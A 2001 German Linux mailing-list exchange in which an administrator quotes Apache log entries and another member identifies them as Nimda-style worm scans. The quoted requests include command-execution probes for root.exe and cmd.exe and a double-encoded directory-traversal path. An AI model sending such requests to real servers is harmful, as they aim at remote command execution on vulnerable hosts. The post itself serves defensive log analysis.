linux-l: Wuermchen oder?

Thomas Knop tknop at maxrelax.de
Mi Okt 10 10:52:31 CEST 2001


* Dr. Bernd Freistedt <bernd at bfrei.net> [10.10.01 08:25]:
> Kennt jemand folgende Schleimspur im Apache logfile:
> 
> 212.234.52.103 - - [09/Oct/2001:22:12:50 +0200] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 587 "-" "-"
> 212.234.52.103 - - [09/Oct/2001:22:12:51 +0200] "GET
> /MSADC/root.exe?/c+dir HTTP/1.0" 404 587 "-" "-"
> 212.234.52.103 - - [09/Oct/2001:22:12:52 +0200] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 587 "-" "-"
> 212.234.52.103 - - [09/Oct/2001:22:12:52 +0200] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 587 "-" "-"
> 212.234.52.103 - - [09/Oct/2001:22:12:53 +0200] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 587 "-" "-"
Nimda ("cmd.exe") und ähnlich Freunde hinterlassen solche Spuren.
"root.exe" ist mir neu, wahrscheinlich ähnlich langweilig ...
wird Zeite für einen "general protection fault counter" 
(http://maxrelax,de).

Gruß Thomas



Mehr Informationen über die Mailingliste linux-l